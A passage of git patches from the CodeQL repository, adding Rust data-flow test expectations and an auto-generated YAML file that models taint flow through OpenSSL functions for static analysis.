repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::poll_fill_buf | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::<&crate::task::wake::Waker as crate::sync::task::atomic_waker::WakerRef>::into_waker | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::<&crate::task::wake::Waker as crate::sync::task::atomic_waker::WakerRef>::into_waker | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_inner_mut | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_inner_mut | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_usize | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_usize | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_ref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw_value | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw_value | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::is_leader | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)].Field[0] in repo:https://github.com/hyperium/hyper:hyper::_::::from | +| file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | element | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)].Element in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_mut_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Reference in lang:alloc::_::::as_mut_ptr | | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::as_ptr | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Reference in lang:alloc::_::::as_ptr | | file://:0:0:0:0 | [summary] read: Argument[0].Reference in lang:alloc::_::::unwrap_or_clone | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference.Reference in lang:alloc::_::::unwrap_or_clone | @@ -1750,6 +2246,8 @@ readStep | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::nth | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::nth | | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:proc_macro::_::::next | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::poll_next | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::poll_next | +| file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight_or | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[1].Field[crate::option::Option::Some(0)] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight_or | | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Reference in lang:core::_::::clone | | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::and_then | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::and_then | | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::cloned | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::option::Option::Some(0)].Reference in lang:core::_::::cloned | From 0290b4369c2db06664a2ffbce68bcfbcbdb79dc1 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Wed, 14 May 2025 10:49:56 +0100 Subject: [PATCH 168/535] C++: Add generated OpenSSL models. --- cpp/ql/lib/ext/generated/openssl.model.yml | 21887 +++++++++++++++++++ 1 file changed, 21887 insertions(+) create mode 100644 cpp/ql/lib/ext/generated/openssl.model.yml diff --git a/cpp/ql/lib/ext/generated/openssl.model.yml b/cpp/ql/lib/ext/generated/openssl.model.yml new file mode 100644 index 000000000000..04b5eb99046f --- /dev/null +++ b/cpp/ql/lib/ext/generated/openssl.model.yml @@ -0,0 +1,21887 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/cpp-all + extensible: summaryModel + data: + - ["", "", True, "ACCESS_DESCRIPTION_free", "(ACCESS_DESCRIPTION *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ACCESS_DESCRIPTION_free", "(ACCESS_DESCRIPTION *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ADMISSIONS_free", "(ADMISSIONS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ADMISSIONS_free", "(ADMISSIONS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ADMISSIONS_get0_admissionAuthority", "(const ADMISSIONS *)", "", "Argument[*0].Field[**admissionAuthority]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_get0_admissionAuthority", "(const ADMISSIONS *)", "", "Argument[*0].Field[*admissionAuthority]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_get0_namingAuthority", "(const ADMISSIONS *)", "", "Argument[*0].Field[**namingAuthority]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_get0_namingAuthority", "(const ADMISSIONS *)", "", "Argument[*0].Field[*namingAuthority]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_get0_professionInfos", "(const ADMISSIONS *)", "", "Argument[*0].Field[**professionInfos]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_get0_professionInfos", "(const ADMISSIONS *)", "", "Argument[*0].Field[*professionInfos]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_admissionAuthority", "(ADMISSIONS *,GENERAL_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**admissionAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_admissionAuthority", "(ADMISSIONS *,GENERAL_NAME *)", "", "Argument[1]", "Argument[*0].Field[*admissionAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_namingAuthority", "(ADMISSIONS *,NAMING_AUTHORITY *)", "", "Argument[*1]", "Argument[*0].Field[**namingAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_namingAuthority", "(ADMISSIONS *,NAMING_AUTHORITY *)", "", "Argument[1]", "Argument[*0].Field[*namingAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_professionInfos", "(ADMISSIONS *,PROFESSION_INFOS *)", "", "Argument[*1]", "Argument[*0].Field[**professionInfos]", "value", "dfc-generated"] + - ["", "", True, "ADMISSIONS_set0_professionInfos", "(ADMISSIONS *,PROFESSION_INFOS *)", "", "Argument[1]", "Argument[*0].Field[*professionInfos]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_free", "(ADMISSION_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ADMISSION_SYNTAX_free", "(ADMISSION_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ADMISSION_SYNTAX_get0_admissionAuthority", "(const ADMISSION_SYNTAX *)", "", "Argument[*0].Field[**admissionAuthority]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_get0_admissionAuthority", "(const ADMISSION_SYNTAX *)", "", "Argument[*0].Field[*admissionAuthority]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_get0_contentsOfAdmissions", "(const ADMISSION_SYNTAX *)", "", "Argument[*0].Field[**contentsOfAdmissions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_get0_contentsOfAdmissions", "(const ADMISSION_SYNTAX *)", "", "Argument[*0].Field[*contentsOfAdmissions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_set0_admissionAuthority", "(ADMISSION_SYNTAX *,GENERAL_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**admissionAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_set0_admissionAuthority", "(ADMISSION_SYNTAX *,GENERAL_NAME *)", "", "Argument[1]", "Argument[*0].Field[*admissionAuthority]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_set0_contentsOfAdmissions", "(ADMISSION_SYNTAX *,stack_st_ADMISSIONS *)", "", "Argument[*1]", "Argument[*0].Field[**contentsOfAdmissions]", "value", "dfc-generated"] + - ["", "", True, "ADMISSION_SYNTAX_set0_contentsOfAdmissions", "(ADMISSION_SYNTAX *,stack_st_ADMISSIONS *)", "", "Argument[1]", "Argument[*0].Field[*contentsOfAdmissions]", "value", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_bi_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "AES_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "AES_unwrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "AES_unwrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_unwrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_unwrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_unwrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASIdOrRange_free", "(ASIdOrRange *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASIdOrRange_free", "(ASIdOrRange *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASIdentifierChoice_free", "(ASIdentifierChoice *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASIdentifierChoice_free", "(ASIdentifierChoice *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASIdentifiers_free", "(ASIdentifiers *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASIdentifiers_free", "(ASIdentifiers *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_BIT_STRING_get_bit", "(const ASN1_BIT_STRING *,int)", "", "Argument[*0].Field[**data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_get_bit", "(const ASN1_BIT_STRING *,int)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_get_bit", "(const ASN1_BIT_STRING *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_num_asc", "(const char *,BIT_STRING_BITNAME *)", "", "Argument[*1].Field[*bitnum]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set", "(ASN1_BIT_STRING *,unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set", "(ASN1_BIT_STRING *,unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set", "(ASN1_BIT_STRING *,unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set_asc", "(ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *)", "", "Argument[*3].Field[*bitnum]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set_asc", "(ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *)", "", "Argument[*3].Field[*bitnum]", "Argument[*0].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set_bit", "(ASN1_BIT_STRING *,int,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set_bit", "(ASN1_BIT_STRING *,int,int)", "", "Argument[1]", "Argument[*0].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_get", "(const ASN1_ENUMERATED *)", "", "Argument[*0].Field[**data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_get", "(const ASN1_ENUMERATED *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_get_int64", "(int64_t *,const ASN1_ENUMERATED *)", "", "Argument[*1].Field[**data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_get_int64", "(int64_t *,const ASN1_ENUMERATED *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_set", "(ASN1_ENUMERATED *,long)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_set_int64", "(ASN1_ENUMERATED *,int64_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_to_BN", "(const ASN1_ENUMERATED *,BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_ENUMERATED_to_BN", "(const ASN1_ENUMERATED *,BIGNUM *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_adj", "(ASN1_GENERALIZEDTIME *,time_t,int,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_adj", "(ASN1_GENERALIZEDTIME *,time_t,int,long)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_dup", "(const ASN1_GENERALIZEDTIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_dup", "(const ASN1_GENERALIZEDTIME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_dup", "(const ASN1_GENERALIZEDTIME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_dup", "(const ASN1_GENERALIZEDTIME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_dup", "(const ASN1_GENERALIZEDTIME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_set", "(ASN1_GENERALIZEDTIME *,time_t)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_set", "(ASN1_GENERALIZEDTIME *,time_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_set_string", "(ASN1_GENERALIZEDTIME *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_set_string", "(ASN1_GENERALIZEDTIME *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_cmp", "(const ASN1_INTEGER *,const ASN1_INTEGER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_INTEGER_cmp", "(const ASN1_INTEGER *,const ASN1_INTEGER *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_INTEGER_dup", "(const ASN1_INTEGER *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_INTEGER_get", "(const ASN1_INTEGER *)", "", "Argument[*0].Field[**data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_get", "(const ASN1_INTEGER *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_get_int64", "(int64_t *,const ASN1_INTEGER *)", "", "Argument[*1].Field[**data]", "Argument[*0]", "taint", 